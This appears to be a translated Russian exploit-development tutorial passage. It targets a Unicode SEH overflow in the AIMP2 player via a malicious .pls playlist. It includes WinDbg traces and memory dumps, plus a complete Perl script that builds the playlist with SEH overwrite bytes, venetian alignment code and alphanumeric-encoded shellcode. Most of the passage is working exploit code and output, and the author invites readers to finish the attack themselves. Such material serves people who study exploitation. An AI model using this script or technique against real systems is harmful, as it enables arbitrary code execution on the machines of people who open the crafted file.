eax=0012fea0 ebx=00000000 ecx=7c9032a9 edx=7c9032bc esi=00000000 edi=00000000
eip=0012fdc9 esp=0012d8ec ebp=0012d9c0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
<Unloaded_papi.dll>+0x12fdb8:
0012fdc9 006d00          add     byte ptr [ebp],ch          ss:0023:0012d9c0=63
0:000> t
eax=0012fea0 ebx=00000000 ecx=7c9032a9 edx=7c9032bc esi=00000000 edi=00000000
eip=0012fdcc esp=0012d8ec ebp=0012d9c0 iopl=0         ov up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200a86
<Unloaded_papi.dll>+0x12fdbb:
0012fdcc c3              ret
0:000> t
eax=0012fea0 ebx=00000000 ecx=7c9032a9 edx=7c9032bc esi=00000000 edi=00000000
eip=0012fea0 esp=0012d8f0 ebp=0012d9c0 iopl=0         ov up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200a86
<Unloaded_papi.dll>+0x12fe8f:
0012fea0 42              inc     edx

Хорошо, мы сделали так, чтобы eax указывал на наши B, и мы сделали успешный прыжок. Теперь мы должны разместить наш шеллкод в 0x0012fea0. Мы можем сделать это, добавив некоторые дополнения между прыжком и началом шеллкода. После немногих математичекских расчетов, мы можем вычислить, что нам нужно 105 байтов.

my $header = "[playlist]\nNumberOfEntries=1\n\n";
$header=$header."File1=";
my $junk="A" x 4065;
my $seh="\x41\x6d";   # inc ecx + add byte ptr [ebp],ch
my $nseh="\x0e\x45";  #0045000E  aimp2.dll

#good stuff on the stack, we need 4th address
my $align = "\x58"; #pop  eax
$align=$align."\x6d";
$align=$align."\x58";  #pop eax
$align=$align."\x6d";
$align=$align."\x58";  #pop eax
$align=$align."\x6d";
$align=$align."\x58";  #pop eax
$align=$align."\x6d";

#now increase the address in eax so it would point to our buffer
$align = $align."\x05\x02\x11";   #add eax,11000200
$align=$align."\x6d";   #align/nop
$align=$align."\x2d\x01\x11";   #sub eax,11000100
$align=$align."\x6d";   #align/nop

#jump to eax now
my $jump = "\x50";  #push eax
$jump=$jump."\x6d"; #nop/align
$jump=$jump."\xc3"; #ret

#add some padding
my $padding="C" x 105;

#eax points at shellcode
my $shellcode="PPYAIAIAIAIAQATAXAZAPA3QADAZABARA".
"LAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZA".
"BABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB".
"KLK8U9M0M0KPS0U99UNQ8RS44KPR004K22LLDKR2MD4KCBMX".
"LOGG0JO6NQKOP1WPVLOLQQCLM2NLMPGQ8OLMM197K2ZP22B7".
"TK0RLPTK12OLM1Z04KOPBX55Y0D4OZKQXP0P4KOXMHTKR8MP".
"KQJ3ISOL19TKNTTKM18VNQKONQ90FLGQ8OLMKQY7NXK0T5L4".
"M33MKHOKSMND45JBR84K0XMTKQHSBFTKLL0KTK28MLM18S4K".
"KT4KKQXPSYOTNDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM".
"2JKQTMSU89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU".
"7MEMKOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC".
"QQ2LRCM0LJA";

#more stuff
my $rest="B" x 1000;
my $payload=$header.$junk.$seh.$nseh.$align.$jump.$padding.$shellcode.$rest."\n";

open(myfile,'>aimp2sploit.pls');
print myfile $payload;
print "Wrote " . length($payload)." bytes\n";
close(myfile);

Результат (с помощью точек остановки, мы смотрим на eax прямо перед тем как вызов в eax сделан):

0:000> d eax
0012fea0  50 00 50 00 59 00 41 00-49 00 41 00 49 00 41 00  P.P.Y.A.I.A.I.A.
0012feb0  49 00 41 00 49 00 41 00-51 00 41 00 54 00 41 00  I.A.I.A.Q.A.T.A.
0012fec0  58 00 41 00 5a 00 41 00-50 00 41 00 33 00 51 00  X.A.Z.A.P.A.3.Q.
0012fed0  41 00 44 00 41 00 5a 00-41 00 42 00 41 00 52 00  A.D.A.Z.A.B.A.R.
0012fee0  41 00 4c 00 41 00 59 00-41 00 49 00 41 00 51 00  A.L.A.Y.A.I.A.Q.
0012fef0  41 00 49 00 41 00 51 00-41 00 50 00 41 00 35 00  A.I.A.Q.A.P.A.5.
0012ff00  41 00 41 00 41 00 50 00-41 00 5a 00 31 00 41 00  A.A.A.P.A.Z.1.A.
0012ff10  49 00 31 00 41 00 49 00-41 00 49 00 41 00 4a 00  I.1.A.I.A.I.A.J.
0:000> d
0012ff20  31 00 31 00 41 00 49 00-41 00 49 00 41 00 58 00  1.1.A.I.A.I.A.X.
0012ff30  41 00 35 00 38 00 41 00-41 00 50 00 41 00 5a 00  A.5.8.A.A.P.A.Z.
0012ff40  41 00 42 00 41 00 42 00-51 00 49 00 31 00 41 00  A.B.A.B.Q.I.1.A.
0012ff50  49 00 51 00 49 00 41 00-49 00 51 00 49 00 31 00  I.Q.I.A.I.Q.I.1.
0012ff60  31 00 31 00 31 00 41 00-49 00 41 00 4a 00 51 00  1.1.1.A.I.A.J.Q.
0012ff70  49 00 31 00 41 00 59 00-41 00 5a 00 42 00 41 00  I.1.A.Y.A.Z.B.A.
0012ff80  42 00 41 00 42 00 41 00-42 00 41 00 42 00 33 00  B.A.B.A.B.A.B.3.
0012ff90  30 00 41 00 50 00 42 00-39 00 34 00 34 00 4a 00  0.A.P.B.9.4.4.J.
0:000> d
0012ffa0  42 00 4b 00 4c 00 4b 00-38 00 55 00 39 00 4d 00  B.K.L.K.8.U.9.M.
0012ffb0  30 00 4d 00 30 00 4b 00-50 00 53 00 30 00 55 00  0.M.0.K.P.S.0.U.
0012ffc0  39 00 39 00 55 00 4e 00-51 00 38 00 52 00 53 00  9.9.U.N.Q.8.R.S.
0012ffd0  34 00 34 00 4b 00 50 00-52 00 30 00 30 00 34 00  4.4.K.P.R.0.0.4.
0012ffe0  4b 00 32 00 32 00 4c 00-4c 00 44 00 4b 00 52 00  K.2.2.L.L.D.K.R.
0012fff0  32 00 4d 00 44 00 34 00-4b 00 43 00 42 00 4d 00  2.M.D.4.K.C.B.M.
00130000  41 63 74 78 20 00 00 00-01 00 00 00 9c 24 00 00  Actx ........$..
00130010  c4 00 00 00 00 00 00 00-20 00 00 00 00 00 00 00  ........ .......

Кажется, нормально … или нет? Посмотрите ближе … Похоже на то, что наш шеллкод слишком большой. Мы попытались написать за пределы 00130000, и это отсекает наше шеллкод. Так что, похоже на то, что мы не можем разместить наш шеллкод после перезаписи SEH записи. Шеллкод слишком большой (или наше свободное пространство буфера слишком мало)

. . .

Я мог бы продолжать туториал, объясняя, как завершить этот эксплоит, но я не собираюсь этого делать. Используйте свой творческий потенциал и посмотрите, сможете ли вы построить эксплоит сами. Вы можете задавать вопросы в моем форуме, и я постараюсь ответить на все вопросы (не давая решения сразу, конечно).

Я залью рабочий эксплойт в своем блоге позже.